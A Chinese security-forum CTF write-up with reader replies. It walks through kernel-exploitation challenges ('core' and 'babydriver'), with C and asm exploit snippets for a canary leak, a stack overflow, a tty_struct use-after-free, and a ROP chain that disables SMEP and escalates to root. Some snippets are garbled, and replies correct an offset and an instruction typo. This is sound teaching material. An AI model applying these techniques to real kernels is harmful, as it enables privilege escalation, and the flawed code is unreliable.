首页
社区
课程
招聘
[原创]linux kernel pwn 分析(一) 强网杯core + ciscn babydriver
2018-9-28 17:33 18854

[原创]linux kernel pwn 分析(一) 强网杯core + ciscn babydriver

2018-9-28 17:33
18854

作为一个kernel pwn 刚刚入门的同学,想着分享一下自己的经验,这几道kernel pwn的题目当时比赛的时候没有做出来,后来对照着大佬的write up复现了一波,仔细研究了一下。准备分析core babydriver solid_core这三道题,如果能弄懂了这三道题入门应该没问题了。

第一篇文章讲core 和 babydriver

第二篇文章讲 solid_core(因为很难所以单独一篇文章分析)

第三篇文章讲一下linux kernel 堆分配 slub分配器和内核堆溢出的例子

首先讲一点准备知识:


附件已经上传,使用
分别使用cat core* | tar xzvf -

cat babydriver* | tar xzvf -进行解压就可以了,大佬们的exp也包含在里面

如何起系统? 


 ctf的kernel pwn中一般会给出qemu起系统的脚本 随便举一例 

 qemu-system-x86_64 \ -m 256M \ -kernel ./bzImage \ -initrd ./initrd.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \ -cpu qemu64,+smep,+smap \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -s \ -nographic -enable-kvm \ 

 比较重要的是qemu-system-x86制定处理器体系,

-m指定内存,

 -s选项默认指定 开启更gdb远程调试端口 1234 


 比较常见的如何解包?

 $ mkdir core 

 $ mv core.cpio ./core/core.cpio.gz 

 $ cd core

 $ gunzip core.cpio.gz 

 $ cpio -idmv < core.cpio

这个时候,将exp放入系统的一个目录中

 $ nano init

这条命令用于编辑init,一般用于删除定时关机 

 $find . | cpio -o -H newc | gzip > ../core.cpio 

用于重新打包 也可以用这几条: 

 $ ./gen_cpio.sh core.cpio 

 $ mv core.cpio ../core.cpio 

 $ cd .. 

 $ rm -rf core 


 gdb调试的时候遇到一些问题: 

 target remote:1234 这个时候如果返回一堆字符显示过长, 

 set architecture i386:x86-64:intel 使用这条命令设置架构 

 在运行时载入模块的符号表:

 grep 0 /sys/module/your_module/sections/.text 

 add-symbol-file ./your_module.ko text 

其中your_module是你要加载的驱动模块,

text为第一行命令的返回值。

 如何得到kernel rop

如果有ELF形式的vmlinux映像可以直接用ROPgadgets,但更多时候我们只有bzImage,这个时候需要用extract-vmlinux进行提权,它在内核源码的scripts中,搜索自己linux系统的内核源码就能找到。 


强网杯一共有两道kernel pwn题,solid_core网上有出题人详细的思路讲解


首先看最简单的一道题 core,是入门级别的一个简单的内核栈溢出,关于内核栈溢出,我认为和用户态的栈溢出在本质上是一样的,只是在此基础上需要做很多准备工作,保证在内核态实现提权之后返回用户态系统不会崩溃,从而可以成功的拿到root权限的shell


首先,我们来看题目给出了core.ko驱动文件,将它放入ida中,


如何leak canary?


可以看出这是出题人自行实现的ioctl系统,是kernel中比较常见的一种类型,f5一下:
看到core_read函数中,在copy_to_user调用时v6+off,可以用来leak canary,查看core_read的汇编代码,出入的rsi参数是v6,为rsp,canary的值在rsp+0x40处,因此,只要将off的值设置为0x40,读出的第一个值即为canary值。


如何设置off?


首先看module_init 创建了一个proc文件,ioctl具体源码的分析留到本文的下半部分分析,因为babydriver的利用会用到。现在只需要知道,ioctl系统调用会根据传入的文件描述符去调用文件自己定义的ioctl系统,在这里就是core_ioctl。ioctl总共有三条指令,当传入的指令为0x6677889C的时候,会将传入的值设置为off

溢出点在哪?


现在可以设置off了,也就可以leak canary,再来看栈上的溢出点
core_ioctl接受的指令为0x6677889A时,调用core_copy_func,f5看起源码,发现存在一个整数的有符号和无符号之间错用的问题,传入的参数a1为signed int,与63进行比较,而在qmemcpy的时候,又转化为unsigned int,因此只要开始传入a1为负数,即可过检查,并且转化为unsigned的时候会变成大整数,即可实现将name中的值覆盖栈上的返回值。


name如何设置?

可以看到驱动还定义了core_write函数,并没有检查size,直接写入name

因此本题的总体思路如下:
首先设置off;
之后通过core_read leak canary;
然后通过write将payload写入name全局变量;
最后通过core_copy栈溢出劫持控制流;

控制流我们已可以经劫持了,用户态的pwn只要再弹一个shell即可完成利用
但内核态还需要更多的操作保证系统的稳定性。
我们劫持的控制流是进入内核态的,拥有特权,因此可以完成提权。
通用的提权代码是

commit_creds(prepare_kernel_cred(0));

这两个函数如何动态获得?

借助/proc/kallsyms符号表,在运行时动态读取。这个很容易实现,贴出一例:


unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)

{

    FILE *s_fp;

    char buff[200] = {0};

    char *p = NULL;

    char *p1 = NULL;

    unsigned long addr = 0;

    s_fp = fopen(file_name, "r");

    if (s_fp == NULL){

        printf("open %s failed.\n", file_name);

        return 0;

    }


    while (fgets(buff, 200, s_fp) != NULL){


        if (strstr(buff, symbol_name) != NULL){

            buff[strlen(buff) - 1] = '\0';

            p = strchr(strchr(buff, ' ') + 1, ' ');

            ++p;


            if (!p) {

                return 0;

            }


            if (!strcmp(p, symbol_name)){

                p1 = strchr(buff, ' ');

                *p1 = '\0';

                sscanf(buff, "%lx", &addr);

                //addr = strtoul(buff, NULL, 16);

                printf("[+] found %s addr at 0x%x.\n",symbol_name, addr);

                break;

            }


        }

    }


之后我们需要稳定系统,在内核返回用户态的时候,会调用iretq

iretq会依次弹出 rip cs eflags rsp ss之后做一些判断,因此如果不能构造好这些参数,系统会崩溃,无法get root shell。我们采取的方法是:提前构造一个save_state()函数,进入内核态前存储这些参数,用来构造payload。


static void save_state()

{

        asm(

            "movq %%cs, %0;"

            "movq %%ss, %1;"

            "pushfq;"

            "pop %2;"

            : "=r"(user_cs), "=r"(user_ss), "=r"(user_eflag)

            :

            : "memory");

}


很简单的一个函数,将cs ss eflag 分别存储在三个我们自定义的变量中。至于rip和rsp则是要我们自己去构造为getshell 的rip。这样返回用户态之后回去指向system("/bin/sh")。


int main()

{

        if((base = mmap(0, 0x40000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0))==NULL)

        {

                perror("mmap");

                exit(0);

        }


        int fd;

        char tmp[64];

        fd = open("/proc/core",O_RDWR);

        ioctl(fd,COMMAND_PRINT,0x40);

        ioctl(fd,COMMAND_READ,&tmp);

        memcpy(&canary, tmp, 8);


        char payload[] = {

                0,0,0,0,0,0,0,0,

                canary,

                base+0x20000,

                shellcode

        };


        write(fd, payload, 160);

        ioctl(fd, IOCTL_COMMAND_COPY, 0xff00000000000008);

        return 0;

}

main函数首先mmap一块地址,用来作为伪造栈。这题中返回用户态之后的伪造栈是什么没有影响。可以看到在调用core_copy之后劫持控制流去指向shellcode(),

static void shellcode()

{

        commit_creds(prepare_kernel_cred(0));

        asm(

            "swqpgs;"\\

            "movq %0 %%rax;"

            "push %%rax;"

            "movq %1 %%rax;"

            "push %%rax;"

            "movq %2 %%rax;"

            "push %%rax;"

            "movq %3 %%rax;"

            "push %%rax;"

            "movq %4 %%rax;"

            "push %%rax;"

            "irate;"

            :

            :"r"(user_ss),"r"()\\,"r"(user_eflags),"r"(user_cs),"r"(get_shell)

            :"memory"

            );

}


shellcode首先实现提权,之后构造栈稳固程序,返回用户态。这个时候我们可以看到rip的位置是我们的get_shell函数指针,getshell中调用system,因此返回后可以在root权限下弹出shell,利用完成。


之后通过开头的解包方法先去掉定时shutdown,之后将exp放入系统,qemu起系统,实现提权。




通过core这题我们可以发现,kernel pwn比用户态的pwn多了很多的准备工作,kernel pwn除了栈溢出和堆溢出还有条件竞争,babydriver 是一个简单的全局变量的竞争问题:

babydriver

照例先放入ida进行分析,同样实现了一套ioctl系统,

首先是babydriver_init中,调用了device_create,创建了叫babydev的文件系统
babyioctl中定义了一条命令 command 65537

它将会释放掉全局变量babydev_struct中的自定义的buf,重新申请一块,按照用户重新传入的size,然后更新len。


下面进行分析每一个设备操作函数,找出漏洞点:

babyopen:

  调用kmalloc_caches申请一块堆空间,关于linux kernel 的对管理,会在第三篇文章单独进行分析。申请的内存空间的大小为64字节,讲地址存储在device_buf,并将全局变量babydev_struct的device_buf_len更新为64。


再看babywrite和babyread函数 

babywrite 函数中在调用copy_from_user之前会检查device_buf_len是否大于用户要求的长度,否则不会执行



同理babyread函数也会进行检查,也就是说不存在内存的溢出点。



这个时候我们想起了全局变量,如果我们能够打开两个设备文件描述符,第二个文件描述符再调用command更新,为某大小,之后将其释放,这时,我们还有另一个文件描述符,可以对其进行写,实现use after free的利用


更新的size应该设置为多大?

我们这里要利用一种设备 tty 通过打开'/dev/ptmx'来进行操作,通过改写tty_struct的tty_opreations结构体 *ops中国ioctl函数指针从而劫持控制流

tty_operations 结构体如下,只需要在exp中声明一个结构体,并将其中的

struct tty_operations {

struct tty_struct * (*lookup)(struct tty_driver *driver,

struct file *filp, int idx);

int (*install)(struct tty_driver *driver, struct tty_struct *tty);

void (*remove)(struct tty_driver *driver, struct tty_struct *tty);

int (*open)(struct tty_struct * tty, struct file * filp);

void (*close)(struct tty_struct * tty, struct file * filp);

void (*shutdown)(struct tty_struct *tty);

void (*cleanup)(struct tty_struct *tty);

int (*write)(struct tty_struct * tty,

const unsigned char *buf, int count);

int (*put_char)(struct tty_struct *tty, unsigned char ch);

void (*flush_chars)(struct tty_struct *tty);

int (*write_room)(struct tty_struct *tty);

int (*chars_in_buffer)(struct tty_struct *tty);


int (*ioctl)(struct tty_struct *tty,

unsigned int cmd, unsigned long arg);

就是覆盖掉这个指针


long (*compat_ioctl)(struct tty_struct *tty,

unsigned int cmd, unsigned long arg);

void (*set_termios)(struct tty_struct *tty, struct ktermios * old);

void (*throttle)(struct tty_struct * tty);

void (*unthrottle)(struct tty_struct * tty);

void (*stop)(struct tty_struct *tty);

void (*start)(struct tty_struct *tty);

void (*hangup)(struct tty_struct *tty);

int (*break_ctl)(struct tty_struct *tty, int state);

void (*flush_buffer)(struct tty_struct *tty);

void (*set_ldisc)(struct tty_struct *tty);

void (*wait_until_sent)(struct tty_struct *tty, int timeout);

void (*send_xchar)(struct tty_struct *tty, char ch);

int (*tiocmget)(struct tty_struct *tty);

int (*tiocmset)(struct tty_struct *tty,

unsigned int set, unsigned int clear);

int (*resize)(struct tty_struct *tty, struct winsize *ws);

int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);

int (*get_icount)(struct tty_struct *tty,

struct serial_icounter_struct *icount);

const struct file_operations *proc_fops;

};


我们伪造一块tty_struct,然后利用command申请一块command大小的堆块,将其释放。简单的说一下slub管理器,在slub中,所有的内存块都被当作object来看待,系统维护了一个kmem_cache[12]的结构体数组,每个kmem_cache中有很多链表,其中有kmem_cache_cpu,分配时根据不同的cpu先从这个链表中进行分配,开始申请的时候,会先分配一页,将这一页分割成相同大小的内存块,每一个内存块对应于一个object,放在kmem链表中。也就是说kmem_cache只能分配固定大小的内存块。

因此,我们通过申请一块,释放掉,它会被放入相应的slab链表中,这个链表会被归入到部分使用的页的链表中,之后再大量申请此大小的内存块,会将所有空闲内存块都申请出来,自然会将其申请出来。

之后即可利用uaf。


这题开启了smep,所以我们的payload不能直接写在用户态的程序之中,采用开头说的方法在vmlinux中找rop。

具体找什么样子的rop?

我们带入调试,发现内核在调用tty系统的ioctl的时候,会将地址先放入rax,之后call rax。如果我们能xchg eax esp,就能将rsp的值转换成我们放入的rop地址的后四位,而后四位肯定是位于用户态的,而用户态的地址是我们可以控制的,只要事先mmap并放入事先伪造好的栈,就能劫持控制流。


到现在只剩下一个问题没有解决,smep开启了即使有内核rop,如何实现提权呢?

在这里我们采取的方法是,先通过rop关闭smep,之后返回用户态调用最基础的提权代码。

smep的开启关闭是通过cr4寄存器来标记的,只有通过rop改写cr4即可关闭smep,之后就是各种提权



具体的调试过程:


首先我们来构造rop chain,都需要哪些呢?

首先需要一个xchg eax esp,实现对栈的控制



一个设置cr4,准备用pop rdi;和mov cr4 ,rdi;这两条实现



还需要swapgs 和 iret用来稳固程序,以便顺利返回到用户态去弹出shell。


因此,整个的rop chain如下:

unsigned long rop_chain[]=

{

  poprdiret,

  0x6f0,

  write_cr4,

  关闭smep之后即可返回用户态

  get_root,

  提权完成,需要安全返回用户态

  swapgs,

  0,

  iretq,

  getshell,

  user_cs,

  user_eflags,

  base+0x10000,

  user_ss};

  

最后我们再从头捋一下思路:

1.首先创建两个文件描述符

2.利用ioctl的command修改掉全局变量内存块为一块tty_struct大小的内存块

3.通过大量申请内存将此块申请出,此时,我们开启的众多的tty设备中,一定有一个的tty struct是我们通过baby_dev可以控制的。

4.触发ufa 并改写tty_struct,tty_struct偏移为0x24的位置,改写伪造的ops,从而劫持控制流

4.通过将ioctl改写为 xchg eax esp,之后调用ioctl操作tty的时候会控制栈

5.通过改写cr4关闭smep。

6.返回用户态提权



  

  参考:

     

http://whereisk0shl.top/NCSTISC%20Linux%20Kernel%20pwn450%20writeup.html


https://www.anquanke.com/post/id/86490


http://www.360zhijia.com/anquan/370741.html/amp







[培训]《安卓高级研修班(网课)》月薪三万计划

最后于 2018-9-28 20:01 被obfuscation编辑 ,原因: 上传附件
上传的附件:
收藏
点赞3
打赏
分享
最新回复 (11)
雪    币: 1573
活跃值: (188)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
obfuscation 3 2018-9-28 17:35
2
0
题目的附件稍后会上传在评论里附加链接,因为附件太大了,超过了8M的限制
雪    币: 26435
活跃值: (18467)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2018-9-28 19:22
3
0
obfuscation 题目的附件稍后会上传在评论里附加链接,因为附件太大了,超过了8M的限制
可以rar分卷压缩上传
雪    币: 1573
活跃值: (188)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
obfuscation 3 2018-9-28 19:45
4
0
kanxue 可以rar分卷压缩上传
好的
雪    币: 292
活跃值: (680)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
Keoyo 2 2018-9-28 22:34
5
0
感谢楼主分享!期待后续文章,tty_operation是我和ling在解这道题的时候参考的0ctf之前的一道kernel的解题方法,比较通用,但就本题来说,用cred的方法更简单一些,楼主可以再尝试使用cred的方法来解babydriver
雪    币: 6526
活跃值: (2516)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
netwind 13 2018-9-28 22:39
6
0
感谢分享!
雪    币: 1573
活跃值: (188)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
obfuscation 3 2018-9-29 00:31
7
0
Keoyo 感谢楼主分享!期待后续文章,tty_operation是我和ling在解这道题的时候参考的0ctf之前的一道kernel的解题方法,比较通用,但就本题来说,用cred的方法更简单一些,楼主可以再尝试使 ...
好嘞,感谢大佬的意见
最后于 2018-9-29 00:35 被obfuscation编辑 ,原因:
雪    币: 1573
活跃值: (188)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
obfuscation 3 2018-9-29 00:34
8
0
netwind 感谢分享!
还请大佬们多指正
雪    币: 2
活跃值: (35)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wx_M4x 2018-10-7 19:52
9
0
4.触发ufa 并改写tty_struct,tty_struct偏移为0x24的位置,改写伪造的ops,从而劫持控制流

这里好像写的有点问题,tty_struct 的偏移应该是 24
雪    币: 1573
活跃值: (188)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
obfuscation 3 2018-10-8 14:37
10
0
wx_M4x 4.触发ufa 并改写tty_struct,tty_struct偏移为0x24的位置,改写伪造的ops,从而劫持控制流 这里好像写的有点问题,tty_struct 的偏移应该是 24
是的,多谢指正
雪    币: 675
活跃值: (3481)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
钞sir 2 2020-3-11 23:30
11
0
core中为什么调用write函数可以调用到core_write函数往name全局变量中写数据呢?
雪    币: 21
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
hello1 2021-7-2 17:36
12
0

指令应该是iretq吧?

游客
登录 | 注册 方可回帖
返回